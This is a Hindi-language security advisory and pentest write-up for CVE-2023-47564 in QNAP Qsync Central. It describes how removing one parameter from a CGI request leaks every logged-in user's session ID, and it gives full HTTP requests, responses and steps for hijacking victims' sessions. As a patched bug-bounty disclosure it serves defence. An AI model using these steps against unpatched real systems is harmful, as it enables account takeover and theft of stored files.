
CVE-2023-47564
"महत्वपूर्ण संसाधन के लिए गलत अनुमति असाइनमेंट की एक भेद्यता Qsync Central को प्रभावित करने की सूचना दी गई है। यदि इसका शोषण किया जाता है, तो यह भेद्यता प्रमाणित उपयोगकर्ताओं को नेटवर्क के माध्यम से संसाधन को पढ़ने या संशोधित करने की अनुमति दे सकती है।"
खोज की तिथि: December 5, 2023
सुधार की तिथि: February 3, 2024
प्रभावित संस्करण: Qsync Central 4.4.x, Qsync Central 4.3.x
ठीक किए गए संस्करण: Qsync Central 4.4.0.15 (2024/01/04) और बाद के, Qsync Central 4.3.0.11 (2024/01/11) और बाद के
सारांश:
एक हालिया पेंटेस्ट के दौरान मैंने एक निम्न-विशेषाधिकार वाले उपयोगकर्ता (यहाँ user123) के रूप में QNAP सिस्टम तक पहुँच प्राप्त की। वहाँ कोई दिलचस्प फ़ाइलें नहीं थीं, इसलिए मैंने थोड़ा और गहराई से जाँच की।
सिस्टम पर केवल Qsync Central ऐप (https://www.qnap.com/en/app_releasenotes/list.php?app_choose=QsyncServer) चल रहा था।
पहले मैंने सभी उपलब्ध उपयोगकर्ताओं की सूची खोजने की कोशिश की और अपने प्रॉक्सी इतिहास का निरीक्षण किया। मुझे एंडपॉइंट /cgi-bin/qsync/qboxRequest.cgi मिला।
इस एंडपॉइंट ने मेरे वर्तमान उपयोगकर्ता खाते और वास्तव में मेरे वर्तमान सत्र आईडी (sid) के बारे में जानकारी प्रकट की।
अनुरोध इस प्रकार था:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=60ud018n&_dc=1701766637869&subfunc=qbox&genQboxDeviceList=1&sort=1&filteruser=user123 HTTP/2
Host: vulnhost.com
Cookie: DESKTOP=1; WINDOW_MODE=1; nas_wfm_tree_x=200; QSYNC_SID=60ud018n; QSYNC_USER=user123; NAS_SID=60ud018n; QT=1701766635952
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
प्रतिक्रिया थी:
HTTP/2 200 OK
Server:
[...]
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 09:57:14]]></time>
<user><![CDATA[user123]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[60ud018n]]></sid>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[0]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
</data>
<ret>0</ret>
</logroot>
</QDocRoot>
दिलचस्प था filteruser पैरामीटर। मैंने इसे हटा दिया और मेरे आश्चर्य के लिए सभी उपयोगकर्ताओं और उनके सत्र आईडी की एक सूची वापस आ गई! इसलिए मैं हर दूसरे लॉग-इन उपयोगकर्ता के सत्र को हाईजैक करने में सक्षम था। PoC के लिए मैंने एक अलग उपयोगकर्ता के रूप में लॉग इन करने हेतु एक सत्र का उपयोग किया। मैंने QNAP के बग बाउंटी प्रोग्राम में भेद्यता की रिपोर्ट की। संचार आसान था और एक समाधान तेजी से तैनात किया गया।
पुनरुत्पादन के चरण (विस्तार में):
हमलावर के रूप में एक सामान्य, निम्न-विशेषाधिकार वाले उपयोगकर्ता खाते से QNAP Qsync वेब एप्लिकेशन में लॉग इन करें।
Qsync वेब एप्लिकेशन द्वारा सेट किए गए NAS_SID कुकी से हमलावर का सत्र आईडी (sid) निकालें।
हमलावर के sid मान का उपयोग NAS_SID कुकी और sid HTTP GET पैरामीटर दोनों में करें और निम्नलिखित HTTP अनुरोध निष्पादित करें:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=yl9osz6l&subfunc=qbox&genQboxDeviceList=1&sort=1 HTTP/2
Host: vulnhost.com
Cookie: NAS_SID=yl9osz6l;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
वेब एप्लिकेशन में वर्तमान में लॉग इन अन्य सभी उपयोगकर्ताओं के मान्य सत्र आईडी HTTP प्रतिक्रिया से निकाले जा सकते हैं, उदाहरण के लिए:
HTTP/2 200 OK
Server:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
Vary: Referer
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/xml
Date: Tue, 05 Dec 2023 10:32:00 GMT
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[1]]></authPassed><model><modelName><![CDATA[TS-X71U]]></modelName><internalModelName><![CDATA[TS-X71]]></internalModelName><platform><![CDATA[TS-NASX86]]></platform><platform_ex><![CDATA[X86_HASWELL]]></platform_ex><customModelName><![CDATA[]]></customModelName><displayModelName><![CDATA[TVS-471U-RP]]></displayModelName><sas_model><![CDATA[0]]></sas_model><storage_v2>1</storage_v2>
<encryptfsSupported><![CDATA[1]]></encryptfsSupported></model>
<firmware><version><![CDATA[5.1.1]]></version><number><![CDATA[2491]]></number><build><![CDATA[20230815]]></build><patch><![CDATA[0]]></patch><buildTime><![CDATA[2023/08/15]]></buildTime></firmware>
<sp><![CDATA[ALPHA]]></sp><rfs_bits><![CDATA[32]]></rfs_bits><specVersion><![CDATA[1.0]]></specVersion><hostname><![CDATA[Data]]></hostname><DemoSiteSuppurt><![CDATA[no]]></DemoSiteSuppurt><customLogo><customFrontLogo><![CDATA[]]></customFrontLogo><customLoginLogo><![CDATA[]]></customLoginLogo></customLogo>
<logroot>
<ADSSupport><![CDATA[1]]></ADSSupport><trustedDomain><enable><![CDATA[0]]></enable></trustedDomain>
<count>239</count>
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 11:31:50]]></time>
<user><![CDATA[victim]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[12345678]]></sid></span>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[1]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
[...]
निम्नलिखित स्क्रीनशॉट इस समस्या को दर्शाता है (गोपनीयता कारणों से, सत्र आईडी और परीक्षण किए गए QNAP Qsync इंस्टेंस के बारे में पहचान की जानकारी को संपादित किया गया है):
![]() |
|---|
| लीक हुए सत्र आईडी मान |
हमलावर निकाले गए sid मानों का उपयोग करके NAS_SID कुकी को तदनुसार सेट करके किसी भी पीड़ित के रूप में लॉग इन कर सकता है। यह हमलावर को पीड़ित के सत्र को हाईजैक करने और पीड़ित द्वारा QNAP सिस्टम पर संग्रहीत किसी भी फ़ाइल को डाउनलोड करने की अनुमति देता है।